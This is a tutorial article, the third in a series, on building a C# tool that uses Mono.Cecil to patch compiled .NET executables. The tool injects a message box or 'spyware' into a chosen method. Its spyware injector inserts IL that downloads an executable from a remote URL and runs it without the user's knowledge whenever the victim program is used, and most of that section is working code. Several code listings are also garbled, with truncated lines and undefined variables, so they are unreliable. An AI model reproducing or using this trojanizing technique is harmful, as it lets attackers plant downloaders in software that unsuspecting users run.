Disassembler Mechanized Part 3: Code Injection Operation
Introduction
This article is a continuation of the previous effort of writing the "Disassembler-Mechanized" series, in which we are showing the process of developing special software which disassembles source code and injects arbitrary .exe into a process. The first two articles in this serious were about the design, configuration of API, and disassembler code manipulation. We have developed the design of custom disassembler software and the mechanics which produce the original source of a .NET assembly in C# language and MSIL form. These two articles were to make the basic infrastructure for this current paper's accompanied code injection feature implementation. In particular, this paper showcases the process of injecting external source code in form of an .exe file to an existing .NET binary executable.
Become a certified reverse engineer!
What is Code Injection?
Code injection refers to a method for attackers to manipulate programs and processes to execute another program by means of inserting a malicious code into an application, which then will be executed. The approach of code injection is very similar to Hooking, where it offers a hook to the Just-In-time (JIT) compiler and enables to inject arbitrary code and fix its execution automatically rather than performing the default CLR JIT compilation. The hooks in the JIT compiler filter the request of MSIL code method and provide the real MSIL instead of the MSIL contained in the assembly when the code of a method is requested. By injecting one method at a time, the MSIL code will remain obscured, even if one manages to dump the code from memory. The real beauty of code injection is that it runs without the cost of a PInoke/Interop call, and doesn't affect the pace of a pure CLR method call.
Simply, we shall manipulate a .NET binary to demonstrate the code injection using message box injection and .exe (malicious .exe) injection tactics. The important point of consideration is to identify the entry point or triggering in the uploaded binary for activating the malicious program. In message box injection, we typically inject a custom message box which has a string message into an opened .exe in this software.
UI Design recap
As we stated in the earlier articles, this software contains several form controls over the end-user interface. It is worthless to discuss the implementations of entire controls, rather we shall move ahead with the control which is currently being used in this article. Here is the list of windows form controls to implement message box and spyware injection:
Control Name
Event
tabPage1= C# code (Decompiled)
tabPage2= IL code (Decompiled)
tabPage3= MsgBox Injector
tabPage4= exe Injector
value= C:WindowsSystem32spy.exe
If the programmer places the entire form controls to implement aforesaid design prototype, then it will transpire in this final injector tool form. The following image belongs to message box injector:
And the following figure is related to external .exe or malicious spyware injector design:
Getting Started
The functionality of external message box and spyware injection into a binary in the software is quite a long and exhaustive process. We shall have to use bizarre classes and methods in order to place the external MSIL code into an existing binary.
Hence, open the tabPage3 in the Design view and place the following code in the btnInjectMsg_Click method, which typically confirms either the text box in the Message Box Injector design empty or fills with values as:
[c]
private void btnInjectMsg_Click(object sender, EventArgs e)
{
if (txtURL.Text!="" && txtTitle.Text != "" && txtbody.Text != "")
{
InjectMsg();
}
}
As like before, place the following implementation in tabPage4 for spyware injection design, which again checks whether the textbox value is empty or not:
[c]
private void btnInjectSpy_Click(object sender, EventArgs e)
{
if (txtURL.Text!="" && txtURLlocation.Text != "" && txtStoreLocation.Text != "")
{
InjectSpyware();
}
}
During Implementation, we would have to perform a flushing control value multiple times. So, we make a method which specially clears the current value of every control placed on the user interface as follows:
[c]
private void ResetData()
{
txtURL.Text = "";
tvMembers.Nodes.Clear();
rtbILCode.Clear();
rtbCsharpCode.Clear();
rtbInfo.Clear();
txtTitle.Text = "";
txtbody.Text = "";
txtURLlocation.Text = "";
}
Message Box Injection
The mechanics of injecting an arbitrary message box into a current running binary executable is in fact a very sophisticated task, especially in a condition where we don't possess the corresponding source code of that binary. Whatever methods applied to achieve such an objective will not suffice alone until we figure the entry point, which determines the triggering point of invoking that message box. The entry points are actually the place where we want to inject the external message box.
The following code in the InjectMsg() method is called when the Inject button is clicked. Several methods from the external or internal classes, especially ILProcessor, MethodInfo and Instruction, are employed in order to integrate external code CLR opcode instructions into existing code. Here, the user interface design for message nox injection typically contains a couple textbox and radio buttons. However, with the information collected from selection of those radio buttons and values entered in the textbox, this software immediately generates the corresponding CLR opcode instruction and integrates such instruction where the user wants to place it.
[c]
Private void InjectMsg()
{
var assembly = AssemblyDefinition.ReadAssembly(txtURL.Text);
try
{
IEnumerator enumerator = assembly.MainModule.Types.GetEnumerator();
while (enumerator.MoveNext())
{
if (td.Name == tvMembers.SelectedNode.Parent.Text)
{
IEnumerator enumerator2 = td.Methods.GetEnumerator();
while (enumerator2.MoveNext())
{
if (method_definition.Name == tvMembers.SelectedNode.Text)
{
ILProcessor cilProcess = method_definition.Body.GetILProcessor();
string ok = txtTitle.Text;
MethodInfo method = typeof(MessageBox).GetMethod("Show", new Type[]
{
typeof(string), typeof(string), typeof(MessageBoxButtons),
typeof(MessageBoxIcon) });
MethodReference method2 = assembly.MainModule.Import(method);
Instruction instruction = cilProcess.Create(OpCodes.Ldstr, str);
Instruction instruction11 = null;
if (rbOK.Checked == true)
{
instruction11 = cilProcess.Create(OpCodes.Ldc_I4_0);
}
if (rbOC.Checked == true)
{
instruction11 = cilProcess.Create(OpCodes.Ldc_I4_1);
}
if (rbYN.Checked == true)
{
instruction11 = cilProcess.Create(OpCodes.Ldc_I4_4);
}
if (rbYNC.Checked == true)
{
instruction11 = cilProcess.Create(OpCodes.Ldc_I4_2);
}
if (rbRC.Checked == true)
{
instruction11 = cilProcess.Create(OpCodes.Ldc_I4_5);
}
if (rbRCI.Checked == true)
{
instruction11 = cilProcess.Create(OpCodes.Ldc_I4_3);
Instruction instruction111 = null;
sbyte error = 16;
sbyte question = 32;
sbyte exclamation = 48;
sbyte info = 64;
if (rbInfo.Checked == true)
{
instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, info);
}
if (rbErr.Checked == true)
{
instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, error);
}
if (rbExc.Checked == true)
{
instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, exclamation);
}
if (rbQues.Checked == true)
{
instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, question);
try
{
Instruction instruction2 = cilProcess.Create(OpCodes.Call, method2);
Instruction instr = cilProcess.Create(OpCodes.Pop);
ILProcessor cilWorker2 = cilProcess;
cilWorker2.InsertBefore(method_definition.Body.Instructions[0],
instruction);
cilWorker2.InsertAfter(instruction, instruction1);
cilWorker2.InsertAfter(instruction1, instruction11);
cilWorker2.InsertAfter(instruction11, instruction111);
cilWorker2.InsertAfter(instruction111, instruction2);
cilWorker2.InsertAfter(instruction2, instr);
}
catch
{
MessageBox.Show("Select Button type and style");
return;
}
using (SaveFileDialog saveFileDialog = new SaveFileDialog
{
Title = "Save to :",
Filter = "Executables | *.exe"
})
{
if (saveFileDialog.ShowDialog() == DialogResult.OK)
{
assembly.MainModule.Runtime = TargetRuntime.Net_4_0;
assembly.Write(saveFileDialog.FileName);
MessageBox.Show("Message Successfuly Injected");
DialogResult dr = MessageBox.Show("Do you want To Test it?",
"Confirmation", MessageBoxButtons.YesNo,
MessageBoxIcon.Question);
if (dr == DialogResult.Yes)
{
Process.Start(saveFileDialog.FileName.ToString());
}
else
{
ResetData();
return;
}
return;
}
}
}
}
}
}
catch
{
MessageBox.Show("First,select method from Assembled members, where you want to
inject Message box");
}
}
However, we define a method as InjectMsg() to implement the external message box functionality. This method contains several lines of code, as some of following first, reads the assembly, then extracts the main modules list by using Enumerator, and finally using another Enumerator, we shall retrieve entire members in the form of method, in the treeview control as follows:
[c]
………………………..
var assembly = AssemblyDefinition.ReadAssembly(txtURL.Text);
IEnumerator enumerator = assembly.MainModule.Types.GetEnumerator();
while (enumerator.MoveNext())
{
TypeDefinition td = (TypeDefinition)enumerator.Current;
if (td.Name == tvMembers.SelectedNode.Parent.Text)
{
IEnumerator enumerator2 = td.Methods.GetEnumerator();
while (enumerator2.MoveNext())
{
MethodDefinition method_definition = (MethodDefinition)enumerator2.Current;
if (method_definition.Name == tvMembers.SelectedNode.Text)
{
….............
The next code first determines the position for the message box placing, in the existing Opcode of that file, using ILProcessor class as well as defines the prototype of custom message box to generate its corresponding CIL code, which is going to merge later. Here, we specially collect the message box body and title related data as follows:
[c]
ILProcessor cilProcess = method_definition.Body.GetILProcessor();
string ok = txtTitle.Text;
string str = txtbody.Text;
MethodInfo method = typeof(MessageBox).GetMethod("Show", new Type[]
{
typeof(string), typeof(string),
typeof(MessageBoxButtons), typeof(MessageBoxIcon)
});
MethodReference method2 = assembly.MainModule.Import(method);
Instruction instruction = cilProcess.Create(OpCodes.Ldstr, str);
Instruction instruction1 = cilProcess.Create(OpCodes.Ldstr, ok);
The message box is accompanied by diverse buttons and utilized in specific scenarios as per the user's requirement. So, it is obvious that each message box must have its CIL opcode representation to specific buttons, in the context of CLR as follows:
MSIL opcode Instruction
Message Dialog Box Type
Now, we shall define one Instruction class object, which would hold the status of message box buttons type. More precisely, whatever button type, such as Yes/No, Yes/No/Cancel, chosen from end-user design, is stored in the Instruction class object as follows:
[c]
Instruction instruction11 = null;
if (rbOK.Checked == true)
{
instruction11 = cilProcess.Create(OpCodes.Ldc_I4_0);
}
if (rbOC.Checked == true)
{
instruction11 = cilProcess.Create(OpCodes.Ldc_I4_1);
}
if (rbYN.Checked == true)
{
instruction11 = cilProcess.Create(OpCodes.Ldc_I4_4);
}
if (rbYNC.Checked == true)
{
instruction11 = cilProcess.Create(OpCodes.Ldc_I4_2);
}
if (rbRC.Checked == true)
{
instruction11 = cilProcess.Create(OpCodes.Ldc_I4_5);
}
if (rbRCI.Checked == true)
{
instruction11 = cilProcess.Create(OpCodes.Ldc_I4_3);
}
Further, we also have to store the value of what message box type is chosen from the end-user. The message box also shows as Error, Exclamation or Question type as follows:
[c]
Instruction instruction111 = null;
sbyte error = 16;
sbyte question = 32;
sbyte exclamation = 48;
sbyte info = 64;
if (rbInfo.Checked == true)
{
instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, info);
}
if (rbErr.Checked == true)
{
instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, error);
}
if (rbExc.Checked == true)
{
instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, exclamation);
}
if (rbQues.Checked == true)
{
instruction111 = cilProcess.Create(OpCodes.Ldc_I4_S, question);
}
Up til now, we gathered entire necessary data to show a message box and implement its CIL opcode representation too. In the subsequent code, we shall apply the methods of ILProcessor class to write the opcode instruction on behalf of collected data from the design and finally make an another version of the victim binary, where the external message box is injected as follows:
[c]
try
{
Instruction instruction2 = cilProcess.Create(OpCodes.Call, method2);
Instruction instr = cilProcess.Create(OpCodes.Pop);
ILProcessor cilWorker2 = cilProcess;
cilWorker2.InsertBefore(method_definition.Body.Instructions[0], instruction);
cilWorker2.InsertAfter(instruction, instruction1);
cilWorker2.InsertAfter(instruction1, instruction11);
cilWorker2.InsertAfter(instruction11, instruction111);
cilWorker2.InsertAfter(instruction111, instruction2);
cilWorker2.InsertAfter(instruction2, instr);
}
catch
{
MessageBox.Show("Select Button type and style");
return;
}
using (SaveFileDialog saveFileDialog = new SaveFileDialog
{
Title = "Save to :",
Filter = "Executable | *.exe"
})
Exe Code Injection (Planting Spyware)
First the .exe injector interface asks to upload a malicious file, which would be injected. Hence, the tabPage4 contains a button to open a file open dialog, which selects the malicious file from the hard-disk and puts the entire path of that file into a text box. Hence, create a click event handler for btnUpload and enter the following code:
[c]
private void btnUpload_Click(object sender, EventArgs e)
{
OpenFileDialog openAsm = new OpenFileDialog();
openAsm.Filter = "Executable | *.exe";
if (openAsm.ShowDialog() == DialogResult.OK)
{
txtURLlocation.Text = openAsm.FileName;
}
}
The following code belongs to .exe or malicious spyware injection into another executable binary which must of course be a .NET binary. The code written in the InjectSpyware() method typically called when the user presses the inject button resides in the design. Here, the first of few lines a highlighted in blue. Implementation is the same as to with the message box injector, where we actually identify the location or triggering point of the injected file.
[c]
private void InjectSpyware()
{
var assembly = AssemblyDefinition.ReadAssembly(txtURL.Text);
try
{
IEnumerator enumerator = assembly.MainModule.Types.GetEnumerator();
while (enumerator.MoveNext())
{
if (td.Name == tvMembers.SelectedNode.Parent.Text)
{
IEnumerator enumerator2 = td.Methods.GetEnumerator();
while (enumerator2.MoveNext())
{
MethodDefinition method_definition =
(MethodDefinition)enumerator2.Current;
if (method_definition.Name == tvMembers.SelectedNode.Text &&
{
ILProcessor cilProcess = method_definition.Body.GetILProcessor();
string str2 = txtURLlocation.Text;
string str3 = txtStoreLocation.Text;
ConstructorInfo meth = typeof(WebClient).GetConstructors()[0];
MethodInfo mtd3 = typeof(WebClient).GetMethod("DownloadFile", new
Type[] { typeof(string), typeof(string) });
MethodInfo mtd4 = typeof(Process).GetMethod("Start", new Type[] {
typeof(string) });
MethodReference mtd5 = assembly.MainModule.Import(meth);
MethodReference mtd6 = assembly.MainModule.Import(mtd3);
MethodReference mtd7 = assembly.MainModule.Import(mtd4);
Instruction instruction3 = cilProcess.Create(OpCodes.Newobj, mtd5);
Instruction instruction4 = cilProcess.Create(OpCodes.Nop);
Instruction instruction5 = cilProcess.Create(OpCodes.Ldstr, str2);
Instruction instruction6 = cilProcess.Create(OpCodes.Ldstr, str3);
Instruction instruction7 = cilProcess.Create(OpCodes.Nop);
Instruction instruction8 = cilProcess.Create(OpCodes.Callvirt, mtd6);
Instruction instruction9 = cilProcess.Create(OpCodes.Nop);
Instruction instruction10 = cilProcess.Create(OpCodes.Ldstr, str3);
Instruction instruction11 = cilProcess.Create(OpCodes.Call, mtd7);
Instruction instr2 = cilProcess.Create(OpCodes.Pop);
cilWorker3.InsertBefore(method_definition.Body.Instructions[0],
instruction3);
cilWorker3.InsertAfter(instruction3, instruction4);
cilWorker3.InsertAfter(instruction4, instruction5);
cilWorker3.InsertAfter(instruction5, instruction6);
cilWorker3.InsertAfter(instruction6, instruction7);
cilWorker3.InsertAfter(instruction7, instruction8);
cilWorker3.InsertAfter(instruction8, instruction9);
cilWorker3.InsertAfter(instruction9, instruction10);
cilWorker3.InsertAfter(instruction10, instruction11);
cilWorker3.InsertAfter(instruction11, instr2);
using (SaveFileDialog saveFileDialog = new SaveFileDialog
{
Title = "save to",
Filter = "Executables | *.exe"
})
{
if (saveFileDialog.ShowDialog() == DialogResult.OK)
{
assembly.MainModule.Runtime = TargetRuntime.Net_4_0;
assembly.Write(saveFileDialog.FileName);
MessageBox.Show("Spyware Successfuly Injected");
DialogResult dr = MessageBox.Show("Do you want To Test it?",
if (dr == DialogResult.Yes)
{
Process.Start(saveFileDialog.FileName.ToString());
}
else
{
ResetData();
return;
}
return;
}
}
}
}
}
}
catch
{
MessageBox.Show("First,select method from Assembly members, where you want to
}
}
Next, we get the spyware. exe file and path where the file would be injected. This software could also capable of injecting a malicious .exe from a remote location, typically from a website. Hence, mtd3 and mtd4 of the MethodInfo class objects are doing this functionality, and later they are referenced in assembly import method. The corresponding spyware injection code shall be merging to a specific location, in form of opcode instruction. Here, we basically are creating an instruction to call a method using a Callvirt instruction, which has the external .exe file as a parameter.
[c]
ILProcessor cilProcess = method_definition.Body.GetILProcessor();
string str2 = txtURLlocation.Text;
string str3 = txtStoreLocation.Text;
ConstructorInfo meth = typeof(WebClient).GetConstructors()[0];
MethodInfo mtd3 = typeof(WebClient).GetMethod("DownloadFile", new
MethodInfo mtd4 = typeof(Process).GetMethod("Start", new Type[] {
typeof(string) });
MethodReference mtd5 = assembly.MainModule.Import(meth);
MethodReference mtd6 = assembly.MainModule.Import(mtd3);
MethodReference mtd7 = assembly.MainModule.Import(mtd4);
Instruction instruction3 = cilProcess.Create(OpCodes.Newobj, mtd5);
Instruction instruction4 = cilProcess.Create(OpCodes.Nop);
Instruction instruction5 = cilProcess.Create(OpCodes.Ldstr, str2);
Instruction instruction6 = cilProcess.Create(OpCodes.Ldstr, str3);
Instruction instruction7 = cilProcess.Create(OpCodes.Nop);
Instruction instruction8 = cilProcess.Create(OpCodes.Callvirt, mtd6);
Instruction instruction9 = cilProcess.Create(OpCodes.Nop);
Instruction instruction10 = cilProcess.Create(OpCodes.Ldstr, str3);
Instruction instruction11 = cilProcess.Create(OpCodes.Call, mtd7);
Instruction instr2 = cilProcess.Create(OpCodes.Pop);
ILProcessor cilWorker3 = cilProcess;
We have to adjust the flow to opcode instruction execution. Hence, the subsequent code maintains which code to insert at what location as follows:
[c]
cilWorker3.InsertBefore(method_definition.Body.Instructions[0],
instruction3);
cilWorker3.InsertAfter(instruction3, instruction4);
cilWorker3.InsertAfter(instruction4, instruction5);
cilWorker3.InsertAfter(instruction5, instruction6);
cilWorker3.InsertAfter(instruction6, instruction7);
cilWorker3.InsertAfter(instruction7, instruction8);
cilWorker3.InsertAfter(instruction8, instruction9);
cilWorker3.InsertAfter(instruction9, instruction10);
cilWorker3.InsertAfter(instruction10, instruction11);
cilWorker3.InsertAfter(instruction11, instr2);
After creating an instruction for an external .exe and inserting in in a specific order, the code is executed, which produces a new .exe version, which possesses all the new modifications.
[c]
using (SaveFileDialog saveFileDialog = new SaveFileDialog
{
Title = "save to",
Filter = "Executables | *.exe"
})
{
if (saveFileDialog.ShowDialog() == DialogResult.OK)
{
assembly.MainModule.Runtime = TargetRuntime.Net_4_0;
assembly.Write(saveFileDialog.FileName);
MessageBox.Show("Spyware Successfuly Injected");
DialogResult dr = MessageBox.Show("Do you want To Test it?",
if (dr == DialogResult.Yes)
{
Process.Start(saveFileDialog.FileName.ToString());
}
else
{
ResetData();
return;
}
}
Testing
Message Box Injection
We are going to victimize the following executable in order to demonstrate message box injection.
First, upload this file into your software, and here the EXIT button would be the entry point of execution for an external message box. So, fill in all the necessary data to show in a message box and hit the Inject button. You'll notice that a message box will pop-up about the successful injection as follows:
It will also prompt to save-as the victim file. Now open the new version of victim file and click on the Exit button; you'll notice the external message box will appear with message data that we have entered in the design as follows:
Spyware Injection
In this demonstration, we need two executables: one that would be a victim and the other would be a spyware executable. First, upload the victim file in the software, and determine the triggering point for invoking spyware .exe, and finally upload the spyware executable. After that, hit the Inject button that shows the success of the operation as follows:
The victim file is typically an application that requires serial keys to proceed. Therefore, open the new version of this file and enter some value. Obviously, the wrong key message shows, and the inject spyware executable also activates and displays as follows:
Final Note
Become a certified reverse engineer!
This paper demonstrates the rest of the implementation of external message box injection and spyware injection. In external message, we explicitly injected the instructions for message box execution in a stand-alone .NET binary on the pre-determined activation triggering action. For this purpose, we have also designed an end-user interface to populate the text body in the message box. On the other side, the spyware injector typically penetrates a stand-alone .exe into another .NET binary executable. The stand-alone spyware or application executes without the user's permission, because its invoking is linked to the particular action of the victim executable. In the next article of this series, we shall analyze the penetration of external instruction in detail, as well as come across a couple new ideas related to this software.